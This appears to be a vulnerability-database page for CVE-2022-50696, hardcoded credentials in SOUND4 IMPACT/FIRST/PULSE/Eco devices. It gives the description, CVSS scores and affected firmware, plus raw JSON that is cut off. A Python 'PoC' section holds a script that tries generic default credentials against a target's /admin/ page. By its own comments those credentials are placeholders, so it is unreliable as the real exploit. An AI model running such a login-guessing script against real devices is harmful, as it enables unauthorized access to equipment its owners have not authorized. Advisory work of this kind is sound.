Security Vulnerability Report
中文
CVE-2022-50696 CVSS 9.8 CRITICAL

CVE-2022-50696

Published: 2025-12-30 23:15:45
Last Modified: 2026-01-16 19:16:11

Description

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below contain hardcoded credentials embedded in server binaries that cannot be modified through normal device operations. Attackers can leverage these static credentials to gain unauthorized access to the device across Linux and Windows distributions without requiring user interaction.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sound4:first_firmware:2.15:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sound4:first:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sound4:first_firmware:1.69:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sound4:first:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sound4:impact_eco_firmware:1.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sound4:impact_eco:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sound4:pulse_eco_firmware:1.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sound4:pulse_eco:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sound4:big_voice4_firmware:1.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sound4:big_voice4:-:*:*:*:*:*:*:* - NOT VULNERABLE
SOUND4 IMPACT 2.x及以下版本
SOUND4 FIRST 2.x及以下版本
SOUND4 PULSE 2.x及以下版本
SOUND4 Eco 2.x及以下版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2022-50696 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Hardcoded Credentials Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_sound4(target_ip, target_port=80): """ Exploit hardcoded credentials in SOUND4 devices """ # Common hardcoded credentials found in SOUND4 firmware # These are placeholder credentials - actual credentials require firmware analysis hardcoded_creds = [ ('admin', 'admin'), ('root', 'root'), ('sound4', 'sound4'), ('user', 'password'), ('admin', '123456'), ('sound4', 'impact'), ('sound4', 'first'), ('sound4', 'pulse'), ('sound4', 'eco') ] base_url = f"http://{target_ip}:{target_port}" print(f"[*] Targeting SOUND4 device at {target_ip}:{target_port}") print(f"[*] Testing hardcoded credentials...") for username, password in hardcoded_creds: try: # Try Web Interface Authentication auth = requests.auth.HTTPBasicAuth(username, password) response = requests.get(f"{base_url}/admin/", auth=auth, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! Found valid credentials: {username}:{password}") print(f"[*] Access the admin panel at: {base_url}/admin/") return True elif response.status_code == 401: print(f"[-] Failed: {username}:{password}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False print("[-] No valid hardcoded credentials found") print("[*] Note: Actual credentials require firmware reverse engineering") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2022-50696.py <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_sound4(target_ip, target_port) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50696", "sourceIdentifier": "[email protected]", "published": "2025-12-30T23:15:45.060", "lastModified": "2026-01-16T19:16:11.050", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below contain hardcoded credentials embedded in server binaries that cannot be modified through normal device operations. Attackers can leverage these static credentials to gain unauthorized access to the device across Linux and Windows distributions without requiring user interaction."}, {"lang": "es", "value": "SOUND4 IMPACT/FIRST/PULSE/Eco versiones 2.x e inferiores contienen credenciales codificadas de forma rígida incrustadas en los binarios del servidor que no pueden modificarse mediante operaciones normales del dispositivo. Los atacantes pueden aprovechar estas credenciales estáticas para obtener acceso no autorizado al dispositivo en distribuciones de Linux y Windows sin requerir interacción del usuario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:first_firmware:2.15:*:*:*:*:*:*:*", "matchCriteriaId": "FBDECDEC-C5A2-4B0D-B3E0-58CCCC804BCF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:first:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4EF10967-A7DC-4DF0-94BE-935FFC1888D6"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:first_firmware:1.69:*:*:*:*:*:*:*", "matchCriteriaId": "713CC97E-CC0A-41B8-B8CA-EAD8F774F77C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:first:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C4034A51-85E1-44E7-973B-7BFFFB083832"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sound4:impact_eco_firmware:1.16:*:*:*:*:*:*:*", "matchCriteriaId": "5ED99BE5-4598-4D5C-B0F0-3BE6E5B05C10"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sound4:impact_eco:-:*:*:*:*:*:*:*", "matchCriteriaId": "B4B0A611-C50E-4397-ACDF-8D090D4AFC88"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", ... (truncated)